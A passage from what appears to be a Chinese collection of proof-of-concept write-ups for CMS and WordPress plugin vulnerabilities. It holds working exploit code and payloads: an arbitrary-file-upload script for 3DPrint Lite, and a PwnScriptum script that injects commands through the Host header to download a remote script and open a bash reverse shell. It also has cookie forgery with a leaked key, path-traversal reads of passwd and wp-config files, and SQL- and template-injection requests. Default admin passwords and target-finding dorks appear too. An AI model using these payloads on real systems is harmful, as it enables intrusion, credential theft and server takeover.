$savePath = SITE_PATH . '/public/uploads/picture/' . time_format(NOW_TIME, 'Y-m-d');else {
$content = wp_file_get_contents($picUrl);
// 获取图片扩展名
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);
if (!$res) {
$cover_id = do_down_image($media_id);
if (!$cover_id) {
return 0;
exit();
}
}分析传入变量 picUrl 的 wp_file_get_contents方法
$content = wp_file_get_contents($picUrl);函数文件位置 application\common.php
可以看到这里没有对我们的参数进行过滤,只做了一个有关超时的操作, 回到函数继续向下分析
$picExt = substr($picUrl, strrpos($picUrl, '=') + 1);
if (empty($picExt) || $picExt == 'jpeg' || strpos('jpg,gif,png,jpeg,bmp', $picExt) === false) {
$picExt = 'jpg';
}
$picName = NOW_TIME . uniqid() . '.' . $picExt;
$picPath = $savePath . '/' . $picName;
$res = file_put_contents($picPath, $content);这里创建了有关当前时间的图片文件,并写入文件夹/public/uploads/picture/ 下
我们先尝试控制变量 $picUrl 来写入数据库配置文件到图片中
/public/index.php/material/Material/_download_imgage?media_id=1&picUrl=./../config/database.php查看目录/public/uploads/picture/,并用记事本打开写入的jpg文件
得到数据库配置文件的信息,既然这个变量可控,我们也可以通过这个方法下载木马文件,再通过解析漏洞或者文件包含等其他漏洞来getshell
在当前条件下并不知道文件名是什么,所以回到代码中继续寻找可以获取文件名的办法
if ($res) {
$file = array(
'name' => $picName,
'type' => 'application/octet-stream',
'tmp_name' => $picPath,
'size' => $res,
'error' => 0
);
$File = D('home/Picture');
$cover_id = $File->addFile($file);
}向下跟进 addFile 函数
函数位置:application\home\model\Picture.php
function addFile($file)
{
$data['md5'] = md5_file($file['tmp_name']);
$id = $this->where('md5', $data['md5'])->value('id');
if ($id > 0) {
return $id;
}
$info = pathinfo($file['tmp_name']);
$data['path'] = str_replace(SITE_PATH . '/public', '', $file['tmp_name']);
$data['sha1'] = hash_file('sha1', $file['tmp_name']);
$data['create_time'] = NOW_TIME;
$data['status'] = 1;
$data['wpid'] = get_wpid();
$id = $this->insertGetId($data);
return $id;
}可以看到这部分代码写入了 Picture 表中
$id = $this->insertGetId($data);我们查看一下数据库的这个数据表,可以发现之前所上传的数据全部缓存在这个表里了
我们现在则需要找到不需要登录的地方来获得这些数据,所以可以全局去查找调用了这个 Picture 表的地方
找到一处可以利用的地方
function user_pics()
{
$map['wpid'] = get_wpid();
$picList = M('Picture')->where(wp_where($map))
->order('id desc')
->select();
$this->assign('picList', $picList);
exit($this->fetch());
}跟进 get_wpid 函数
function get_wpid($wpid = '')
{
if (defined('WPID')) {
return WPID;
} else {
return 0;
}
}查看 WPID 的定义,文件位置在config\weiphp_define.php
定义值默认为 1,所以这里调用则可以获得数据库中Pictrue表的内容,间接的知道了文件内容以及文件名
访问地址: http://webphp/public/index.php/home/file/user_pids
可以看到文件名,根据url地址访问选择下载即可
File: CMS漏洞/WeiPHP5.0 任意用户Cookie伪造 CNVD-2021-09693.md
WeiPHP5.0 任意用户Cookie伪造 CNVD-2021-09693
漏洞描述
Weiphp5.0 存在管理员用户Cookie伪造,通过泄露的密钥数据,可利用加密方法来得到管理员的Cookie
漏洞影响
Weiphp <= 5.0环境搭建
参考官方手册创建网站即可
网络测绘
app="WeiPHP"
漏洞复现
首先需要得到数据库配置文件中的data_auth_key密钥
得到这个配置文件可参照上一篇Weiphp5.0 前台文件任意读取
'data_auth_key' => '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T'全局查找下使用了这个密钥的地方
找到了跟据这个密钥的加密方法和解密方法
加密方法 think_encrypt
function think_encrypt($data, $key = '', $expire = 0)
{
$key = md5(empty($key) ? config('database.data_auth_key') : $key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf('%010d', $expire ? $expire + time() : 0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
}
return str_replace(array(
'+',
'/',
'='
), array(
'-',
'_',
''
), base64_encode($str));
}解密方法 think_decrypt
function think_decrypt($data, $key = '')
{
$key = md5(empty($key) ? config('database.data_auth_key') : $key);
$data = str_replace(array(
'-',
'_'
), array(
'+',
'/'
), $data);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$data = base64_decode($data);
$expire = substr($data, 0, 10);
$data = substr($data, 10);
if ($expire > 0 && $expire < time()) {
return '';
}
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = $str = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
for ($i = 0; $i < $len; $i++) {
if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) {
$str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
} else {
$str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
}
}
return base64_decode($str);
}全局查看下使用了解密方法的地方
在文件 application\common.php 中含有使用解密方法的代码,用于做身份验证
function is_login()
{
$user = session('user_auth');
if (empty($user)) {
$cookie_uid = cookie('user_id');
if (!empty($cookie_uid)) {
$uid = think_decrypt($cookie_uid);
$userinfo = getUserInfo($uid);
D('common/User')->autoLogin($userinfo);
$user = session('user_auth');
}
}
if (empty($user)) {
return 0;
} else {
return session('user_auth_sign') == data_auth_sign($user) ? $user['uid'] : 0;
}
}根据这里得到的代码,可以知道当user_Id=1时,会解密密钥后判断是否正确,如果正确则可以登录系统
我们在本地使用加密代码加密user_id=1得到的cookie则可以登录系统
<?php
show_source(__FILE__);
function think_encrypt($data, $key = '', $expire = 0)
{
$key = '+0SeoAC#YR,Jm&c?[PhUg9u;:Drd8Fj4q|XOkx*T';
$key = md5($key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) {
$x = 0;
}
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf('%010d', $expire ? $expire + time() : 0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
}
return str_replace(array(
'+',
'/',
'='
), array(
'-',
'_',
''
), base64_encode($str));
}
echo 'user_id = ' . think_encrypt($_GET['user_id']);
?>添加cookie: user_id=xxxxxxxx即可成功登录
- 获取密钥的方法参照上一篇审计文章
File: CMS漏洞/WordPress 3DPrint Lite 3dprint-lite-functions.php 任意文件上传漏洞.md
WordPress 3DPrint Lite 3dprint-lite-functions.php 任意文件上传漏洞
漏洞描述
WordPress 3DPrint Lite Version 1.9.1.4 版本 中的 3dprint-lite-functions.php 文件存在文件上传漏洞,攻击者通过构造请求包可以上传任意文件获取服务器权限
漏洞影响
3DPrint Lite Version 1.9.1.4 版本插件名
3DPrint Lite
https://downloads.wordpress.org/plugin/3dprint-lite.1.9.1.4.zip
漏洞复现
首先看一下插件注册的接口
if ( is_admin() ) {
add_action( 'admin_enqueue_scripts', 'p3dlite_enqueue_scripts_backend' );
add_action( 'wp_ajax_p3dlite_handle_upload', 'p3dlite_handle_upload' );
add_action( 'wp_ajax_nopriv_p3dlite_handle_upload', 'p3dlite_handle_upload' );
include 'includes/3dprint-lite-admin.php';
}
else {
add_action( 'wp_enqueue_scripts', 'p3dlite_enqueue_scripts_frontend' );
include 'includes/3dprint-lite-frontend.php';
}跟踪 p3dlite_handle_upload 方法 wp-content/plugins/3dprint-lite/includes/3dprint-lite-functions.php
向下看可以看到一个标准的文件上传代码
通过调试可以找到上传路径 /wp-content/uploads/p3d/
未授权调用 p3dlite_handle_upload 上传文件
# Exploit Title: Wordpress Plugin 3DPrint Lite 1.9.1.4 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/3dprint-lite/
# Date: 22/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/3dprint-lite/
# Version: <= 1.9.1.4
# Tested on: Ubuntu 20.04.1
import os.path
from os import path
import json
import requests;
import sys
def print_banner():
print("3DPrint Lite <= 1.9.1.4 - Arbitrary File Upload")
print("Author -> spacehen (www.github.com/spacehen)")
def print_usage():
print("Usage: python3 exploit.py [target url] [php file]")
print("Ex: python3 exploit.py https://example.com ./shell.php")
def vuln_check(uri):
response = requests.get(uri)
raw = response.text
if ("jsonrpc" in raw):
return True;
else:
return False;
def main():
print_banner()
if(len(sys.argv) != 3):
print_usage();
sys.exit(1);
base = sys.argv[1]
file_path = sys.argv[2]
ajax_action = 'p3dlite_handle_upload'
admin = '/wp-admin/admin-ajax.php';
uri = base + admin + '?action=' + ajax_action ;
check = vuln_check(uri);
if(check == False):
print("(*) Target not vulnerable!");
sys.exit(1)
if( path.isfile(file_path) == False):
print("(*) Invalid file!")
sys.exit(1)
files = {'file' : open(file_path)}
print("Uploading Shell...");
response = requests.post(uri, files=files)
file_name = path.basename(file_path)
if(file_name in response.text):
print("Shell Uploaded!")
if(base[-1] != '/'):
base += '/'
print(base + "wp-content/uploads/p3d/" + file_name);
else:
print("Shell Upload Failed")
sys.exit(1)
main();File: CMS漏洞/Wordpress 4.6 任意命令执行漏洞 PwnScriptum.md
Wordpress 4.6 任意命令执行漏洞 PwnScriptum
漏洞描述
参考:
环境搭建
Vulhub编译及运行测试环境
docker-compose build
docker-compose up -d由于Mysql初始化需要一段时间,所以请等待。成功运行后,访问http://your-ip:8080/wp-admin/install.php打开站点,初始化管理员用户名和密码后即可使用(数据库等已经配置好,且不会自动更新)。
漏洞复现
发送如下数据包,可见/tmp/awesome_poc已经成功创建:
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}awesome_poc}} null)
Connection: close
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept: */*
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login=admin但实际利用起来,还是有一些坑需要踏过。具体的坑有这么几个:
- 执行的命令不能包含大量特殊字符,如
:、引号等。 - 命令会被转换成小写字母
- 命令需要使用绝对路径
- 需要知道某一个存在的用户的用户名
为了解决这些坑,漏洞作者想出了,利用${substr{0}{1}{$spool_directory}}代替/,用${substr{10}{1}{$tod_log}}代替空格的方法。
但是还是有很多字符不能用,所以我们需要将待执行的命令放到第三方网站中,然后通过curl -o /tmp/rce example.com/shell.sh的方法先将他下载到/tmp目录中,再去执行。
所以,总体来说利用过程如下:
- 编写反弹shell的exp,放到某个网页里。有如下要求:
- 整个url的大写字母会被转换成小写,所以大写小敏感的系统不要使用大写字母做文件路径
- 访问该网页不能跳转,因为follow跳转的参数是
-L(大写)
- 拼接成命令
/usr/bin/curl -o/tmp/rce example.com/shell.sh和命令/bin/bash /tmp/rce - 将上述命令中的空格和
/转换成${substr{10}{1}{$tod_log}}和${substr{0}{1}{$spool_directory}} - 拼接成HTTP包的Host头:
target(any -froot@localhost -be ${run{command}} null) - 依次发送这两个拼接好的数据包
将上述过程写成exp脚本,将脚本中target修改成你的目标,user修改成一个已经存在的用户,shell_url修改成你放置payload的网址。(或直接将target作为第一个参数、shell_url作为第二个参数)
example.com/shell.sh的内容为:
textbash -i >& /dev/tcp/your-reverse—shell-ip/9999 0>&1
执行即可获得shell:
python wordpress.py http://192.168.174.128:8080 example.com/shell.sh监听9999端口,接收反弹shell:
漏洞POC
#!/usr/bin/env python3
import requests
import sys
# wordpress's url
target = 'http://127.0.0.1' if len(sys.argv) < 1 else sys.argv[1]
# Put your command in a website, and use the website's url
# don't contains "http://", must be all lowercase
shell_url = 'example.com/1.txt' if len(sys.argv) < 2 else sys.argv[2]
# an exists user
user = 'admin'
def generate_command(command):
command = '${run{%s}}' % command
command = command.replace('/', '${substr{0}{1}{$spool_directory}}')
command = command.replace(' ', '${substr{10}{1}{$tod_log}}')
return 'target(any -froot@localhost -be %s null)' % command
session = requests.session()
data = {
'user_login': user,
'redirect_to': '',
'wp-submit': 'Get New Password'
}
session.headers = {
'Host': generate_command('/usr/bin/curl -o/tmp/rce ' + shell_url),
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)'
}
session.allow_redirects = False
target += '/wp-login.php?action=lostpassword'
session.post(target, data=data)
session.headers['Host'] = generate_command('/bin/bash /tmp/rce')
session.post(target, data=data)File: CMS漏洞/WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633.md
WordPress All-in-One Video Gallery video.php 任意文件读取漏洞 CVE-2022-2633
漏洞描述
WordPress All-in-One Video 插件 Gallery video.php文件中存在SSRF以及任意文件读取漏洞,攻击者通过发送特定的请求包读取任意文件
漏洞影响
WordPress All-in-One Video Gallery <= 2.6.0插件名称
All-in-One Video Galleryhttps://downloads.wordpress.org/plugin/all-in-one-video-gallery.2.6.0.zip
漏洞复现
对比漏洞修复的文件找到出现漏洞的文件 wp-content/plugins/all-in-one-video-gallery/public/video.php
这里接收 dl 参数,dl 参数不为 数字类型时,参数将 base64 解码传入
if ( is_numeric( $_GET['dl'] ) ) {
$file = get_post_meta( (int) $_GET['dl'], 'mp4', true );
} else {
$file = base64_decode( $_GET['dl'] );
}
if ( empty( $file ) ) {
die( esc_html__( 'Download file URL is empty.', 'all-in-one-video-gallery' ) );
exit;
}当传入的参数中不存在 http:// 或 https:// 时,参数 $formatted_path 的值改变
当 $formatted_path 为 url 时存在 SSRF漏洞,传入 base64编码 的目标URL就可以得到回显
/index.php/video/?dl=aHR0cHM6Ly93d3cuYmFpZHUuY29t看向代码最后的片段,则存在任意文件读取漏洞
/index.php/video/?dl=Li4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA==File: CMS漏洞/WordPress Duplicator duplicator.php 任意文件读取漏洞 CVE-2020-11738.md
WordPress Duplicator duplicator.php 任意文件读取漏洞 CVE-2020-11738
漏洞描述
WordPress Duplicator插件由于对文件下载没有进行验证,则导致了任意文件读取漏洞
漏洞影响
Duplicator <= v1.3.26插件名
Duplicator
https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip
漏洞复现
首先先查看注册的无需授权的action接口 wp-content/plugins/duplicator/ctrls/class.web.services.php
这里 wp_ajax_nopriv_duplicator_download 对应的函数名为 duplicator_download
public static function duplicator_download() {
$file = sanitize_text_field($_GET['file']);
$filepath = DUPLICATOR_SSDIR_PATH.'/'.$file;
// Process download
if(file_exists($filepath)) {
// Clean output buffer
if (ob_get_level() !== 0 && @ob_end_clean() === FALSE) {
@ob_clean();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush(); // Flush system output buffer
try {
$fp = @fopen($filepath, 'r');
if (false === $fp) {
throw new Exception('Fail to open the file '.$filepath);
}
while (!feof($fp) && ($data = fread($fp, DUPLICATOR_BUFFER_READ_WRITE_SIZE)) !== FALSE) {
echo $data;
}
@fclose($fp);
} catch (Exception $e) {
readfile($filepath);
}
exit;
} else {
wp_die('Invalid installer file name!!');
}
}可以看到这里接受参数 file,拼接至 $filepath 中,通过调试可以得知
DUPLICATOR_SSDIR_PATH 为 wp-snapshots 目录,file可控且没有过滤,导致任意文件读取
/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../etc/passwdFile: CMS漏洞/WordPress Elementor Page Builder Plus 身份验证绕过 CVE-2021-24175.md
WordPress Elementor Page Builder Plus 身份验证绕过 CVE-2021-24175
漏洞描述
未经身份验证的用户可以使用"theplus_ajax_login"和"theplus_google_ajax_register" Ajax请求,通过仅提供相关的用户名,就可以像任何用户一样轻松地进行身份验证。
参考链接:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24175
- https://wpscan.com/vulnerability/c311feef-7041-4c21-9525-132b9bd32f89
漏洞影响
Elementor Page Builder <4.1.7漏洞复现
poc:
curl -X POST --data action=theplus_ajax_login --data email=admin -iLSS https://example.com/wp-admin/admin-ajax.php
curl -X POST --data action=theplus_google_ajax_register --data email=admin --data nonce=a -iLSS https://example.com/wp-admin/admin-ajax.php"theplus_google_ajax_register" AJAX请求还可以允许任何未经身份验证的用户创建具有任意角色的帐户,例如admin,然后登录。
html:
<form method="POST" action="https://example.com/wp-admin/admin-ajax.php">
<input value="newadmin" name="name" type="text">
<input value="[email protected]" name="email" type="text">
<input value="test" name="password" type="text">
<input value="theplus_google_ajax_register" name="action" type="text">
<input value="administrator" name="tp_user_reg_role" type="text">
<input value="any" name="nonce" type="text">
<input type="submit" />
</form>File: CMS漏洞/WordPress File Manager<6.9 RCE CVE-2020-25213.md
WordPress File Manager<6.9 RCE CVE-2020-25213
漏洞复现
poc:
curl -ks --max-time 5 -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@/$file_upload" "hxxps://victim.com/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Content-Length: 631
Content-Type: multipart/form-data; boundary=------------------------9689147a5989a801
Connection: close
--------------------------9689147a5989a801
Content-Disposition: form-data; name="reqid"
17457a1fe6959
--------------------------9689147a5989a801
Content-Disposition: form-data; name="cmd"
upload
--------------------------9689147a5989a801
Content-Disposition: form-data; name="target"
l1_Lw
--------------------------9689147a5989a801
Content-Disposition: form-data; name="mtime[]"
1576045135
--------------------------9689147a5989a801
Content-Disposition: form-data; name="upload[]"; filename="1.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
--------------------------9689147a5989a801--File: CMS漏洞/WordPress Redux Framework class-redux-helpers.php 敏感信息泄漏漏洞 CVE-2021-38314.md
WordPress Redux Framework class-redux-helpers.php 敏感信息泄漏漏洞 CVE-2021-38314
漏洞描述
2021年8月爆出Redux Framework存在未授权的敏感信息泄露漏洞,CVE编号为CVE-2021-38314,影响v4.2.11及以下版本,发送特定的请求包可以在未授权的情况下获取服务器敏感信息
漏洞影响
Redux Framework <= v4.2.11插件名
Redux Framework
https://github.com/reduxframework/redux-framework
漏洞复现
影响范围为 v4.211 以下, 看一下版本间的更新差异
这里将 add_action 注册的函数都删除掉了,本地安装查看函数相关代码
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
add_action( 'wp_ajax_nopriv_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
add_action( 'wp_ajax_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
$hash_arg = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
add_action( 'wp_ajax_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
add_action( 'wp_ajax_redux_support_hash', array( 'Redux_Functions', 'support_hash' ) );
add_filter( 'redux/tracking/options', array( 'Redux_Helpers', 'redux_stats_additions' ) );查看 add_action 注册的函数 hash_arg() 和 support_args()
public static function hash_arg() {
echo esc_html( md5( Redux_Functions_Ex::hash_key() . '-redux' ) );
die();
}
public static function support_args() {
header( 'Expires: Mon, 26 Jul 1997 05:00:00 GMT' );
header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . 'GMT' );
header( 'Expires: Sat, 26 Jul 1997 05:00:00 GMT' );
header( 'Cache-Control: no-store, no-cache, must-revalidate' );
header( 'Cache-Control: post-check=0, pre-check=0', false );
header( 'Pragma: no-cache' );
$instances = Redux::all_instances();
if ( isset( $_REQUEST['i'] ) && ! empty( $_REQUEST['i'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification
if ( is_array( $instances ) && ! empty( $instances ) ) {
foreach ( $instances as $opt_name => $data ) {
if ( md5( $opt_name . '-debug' ) === $_REQUEST['i'] ) { // phpcs:ignore WordPress.Security.NonceVerification
$array = $data;
}
}
}
if ( isset( $array ) ) {
// We only want the extension names and versions.
$array->extensions = self::get_extensions( $opt_name );
$to_return = array();
// Filter out all the unwanted data.
foreach ( $array as $key => $value ) {
if ( in_array(
$key,
array(
// 'fields',
'extensions',
'sections',
'args',
// 'field_types'
),
true
) ) {
$to_return[ $key ] = $value;
} else { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement
// phpcs:ignore Squiz.PHP.CommentedOutCode
/* echo $key.PHP_EOL; */
}
}
$array = $to_return;
} else {
die();
}
} else {
$array = self::get_statistics_object();
if ( is_array( $instances ) && ! empty( $instances ) ) {
$array['instances'] = array();
foreach ( $instances as $opt_name => $data ) {
$array['instances'][] = $opt_name;
}
}
$array['key'] = md5( Redux_Functions_Ex::hash_key() );
}
ksort( $array ); // Let's make that pretty.
// phpcs:ignored WordPress.PHP.NoSilencedErrors, WordPress.Security.EscapeOutput
echo @htmlspecialchars( @wp_json_encode( $array, true ), ENT_QUOTES );
die();
}support_args() 函数 $_REQUEST['i'] 为空,来到另一处分支
} else {
$array = self::get_statistics_object();
if ( is_array( $instances ) && ! empty( $instances ) ) {
$array['instances'] = array();
foreach ( $instances as $opt_name => $data ) {
$array['instances'][] = $opt_name;
}
}
$array['key'] = md5( Redux_Functions_Ex::hash_key() );
}跟踪 get_statistics_object() 函数,该函数可以获取插件等环境变量信息
可以看到该函数 为 wp_ajax_nopriv_* 可未授权调用
其中需要变量 $support_hash, 跟踪 hash_key() 方法
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );wp-config.php 中存在 AUTH_KEY 参数,为随机值
回到 hash_arg() 函数
public static function hash_arg() {
echo esc_html( md5( Redux_Functions_Ex::hash_key() . '-redux' ) );
die();
}这里就调用到了 Redux_Functions_Ex::hash_key() 中的函数,且返回 md5值
回到刚刚的代码中,可以发现得到的结果同样也是 $support_hash 我们所需要知道的参数,下面为等价替换
$support_hash = md5(hash_arg(). '-support' );这样我们就获取到了一个利用链
$hash_arg = md5( trailingslashit( network_site_url() ) . '-redux' );
add_action( 'wp_ajax_nopriv_' . $hash_arg, array( 'Redux_Helpers', 'hash_arg' ) );
|
获取 md5( Redux_Functions_Ex::hash_key() . '-redux') 值
|
$support_hash = md5( md5( Redux_Functions_Ex::hash_key() . '-redux' ) . '-support' );
add_action( 'wp_ajax_nopriv_' . $support_hash, array( 'Redux_Helpers', 'support_args' ) );
|
调用函数 support_args 获取系统敏感信息成功获取到了插件版本等有关信息
File: CMS漏洞/WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119.md
WordPress Simple File List ee-downloader.php 任意文件读取漏洞 CVE-2022-1119
漏洞描述
WordPress Simple File List插件 ee-downloader.php文件存在任意文件读取漏洞,攻击者通过漏洞可以读取服务器中的任意文件
漏洞影响
WordPress Simple File List < 3.2.8插件名
Simple File List
https://downloads.wordpress.org/plugin/simple-file-list.3.2.17.zip
漏洞复现
存在漏洞的文件为 wp-content/plugins/simple-file-list/includes/ee-downloader.php
<?php // Simple File List - ee-downloader.php - rev 1.19 - [email protected]
// Force File to Download
// This script is accessed via javascript on ee-download.php
$eeFile = filter_var($_GET['eeFile'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_LOW);
if(is_readable($eeFile)) {
header('Pragma: public'); // required
header('Expires: 0'); // no cache
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Last-Modified: '. gmdate ('D, d M Y H:i:s', filemtime ($eeFile)) .' GMT');
header('Cache-Control: private',false);
header('Content-Type: ' . mime_content_type($eeFile) );
header('Content-Disposition: attachment; filename="'. basename($eeFile) .'"');
// header('Content-Transfer-Encoding: binary');
header('Content-Length: '. filesize($eeFile)); // provide file size
header('Connection: close');
readfile($eeFile); // Start the download
}
?>直接传参获取文件信息, 验证POC
/wp-content/plugins/simple-file-list/includes/ee-downloader.php?eeFile=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/wp-config.phpFile: CMS漏洞/WordPress SuperForms 4.9 任意文件上传到远程代码执行.md
WordPress SuperForms 4.9 任意文件上传到远程代码执行
漏洞描述
SuperForms官方链接:https://renstillmann.github.io/super-forms/#/
参考链接:
漏洞影响
All (<= 4.9.X)Google Dork
inurl:"/wp-content/plugins/super-forms/"漏洞复现
poc:
POST /wp-content/plugins/super-forms/uploads/php/ HTTP/1.1
<=== exploit end point
Host: localhost
User-Agent: UserAgent
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data;
boundary=---------------------------423513681827540048931513055996
Content-Length: 7058
Origin: localhost
Connection: close
Referer: localhost
Cookie:
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="accept_file_types"
jpg|jpeg|png|gif|pdf|JPG|JPEG|PNG|GIF|PDF <=======
inject extension (|PHP4) to validate file to upload
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="max_file_size"
8000000
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="image_library"
0
-----------------------------423513681827540048931513055996
Content-Disposition: form-data; name="files[]";
filename="filename.(extension)" <==== inject code extension (.php4)
for example
Content-Type: application/pdf
Evil codes to be uploaded
-----------------------------423513681827540048931513055996--
# Uploaded Malicious File can be Found in :
/wp-content/uploads/superforms/2021/01/<id>/filename.php4
u can get <id> from server reply .File: CMS漏洞/WordPress WP_Query SQL 注入漏洞 CVE-2022-21661.md
WordPress WP_Query SQL 注入漏洞 CVE-2022-21661
漏洞描述
WordPress是一个用PHP编写的免费开源内容管理系统,由于clean_query函数的校验不当,导致了可能通过插件或主题以某种方式从而触发SQL注入的情况。这已经在WordPress5.8.3中进行了修复。影响版本可以追溯到3.7.37。
参考链接:
漏洞影响
WordPress < 5.8.3漏洞POC
获取数据库名:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 130
action=test&data={"tax_query":[{"field":"term_taxonomy_id","terms":["1) and extractvalue(rand(),concat(0x5e,(select group_concat(schema_name) from information_schema.SCHEMATA)))#"]}]}File: CMS漏洞/YzmCMS Version 小于V5.8正式版 后台采集模块 SSRF漏洞.md
YzmCMS Version 小于V5.8正式版 后台采集模块 SSRF漏洞
漏洞描述
YzmCMS内容管理系统是一款轻量级开源内容管理系统,它采用自主研发的框架YZMPHP开发。程序基于PHP+Mysql架构,并采用MVC框架式开发的一款高效开源的内容管理系统,可运行在Linux、Windows、MacOSX、Solaris等各种平台上。
源码存在协议识别的缺陷,导致存在SSRF漏洞
参考阅读:
漏洞影响
YzmCMS version < V5.8正式版环境搭建
https://github.com/yzmcms/yzmcms
按照文档安装即可
漏洞复现
登录后台 --> 模块管理 --> 采集管理
添加采集规则
在你的服务器上编辑HTML代码
- 根目录可能不同,payload需要更改
点击采集读取根目录下的 Flag
出现漏洞的代码位置 yzmcms/yzmphp/core/class/cache_factory.class.php
这里调用 url_check 函数
可以看到这里只检测了前4位是否为 http,使用 httpxxx 即可绕过
File: CMS漏洞/zzzcms v1.7.5 前台远程命令执行漏洞.md
zzzcms v1.7.5 前台远程命令执行漏洞
漏洞描述
zzzcms v1.7.5 parserSearch 存在模板注入导致远程命令执行漏洞。
参考链接:
漏洞影响
zzzcms v1.7.5漏洞复现
执行 phpinfo:
POST /?location=search HTTP/1.1
Host: your-ip
keys={if:=phpinfo()}{end if}如果遇到拦截,编码绕过:
<?php
echo (base_convert("phpinfo()", 32, 10));
?>
-----
27440799224POST /?location=search HTTP/1.1
Host: your-ip
keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if}File: CMS漏洞/华宜互联 硬编码超级管理员漏洞.md
华宜互联 硬编码超级管理员漏洞
漏洞描述
华宜互联CMS默认存在超级管理员漏洞,如不修改则使用默认账号密码即可登录超级管理员
漏洞影响
华宜互联CMS网络测绘
body="华宜网络"漏洞复现
原版的源码需要付费,可找到免费版的源码
在目录下的DATA目录中有mdb文件, 打开后可以发现存在默认的两个用户
- admin/123456
- lu123/cui123
使用 用户lu123 即可登录超级管理员
File: CMS漏洞/原创先锋 后台管理平台 未授权访问漏洞.md
原创先锋 后台管理平台 未授权访问漏洞
漏洞描述
原创先锋 后台管理平台 存在未授权访问漏洞,攻击者通过漏洞可以任意接管账户权限
参考阅读:
漏洞影响
原创先锋 后台管理平台网络测绘
body="https://www.bjycxf.com"漏洞复现
后台登陆页面如下
未授权的Url
/admin/admin/admin_list.html点击添加并授权即可获取后台模块权限
File: CMS漏洞/发货100 M_id SQL注入漏洞 CNVD-2021-30193.md
发货100 M_id SQL注入漏洞 CNVD-2021-30193
漏洞描述
发货100 M_id参数存在SQL注入漏洞, 攻击者通过漏洞可以获取数据库敏感信息
漏洞影响
发货100网络测绘
icon_hash="1420424513"漏洞复现
主页面如下
使用POC
/?M_id=1%27&type=product数据库出现报错, 使用Sqlmap注入
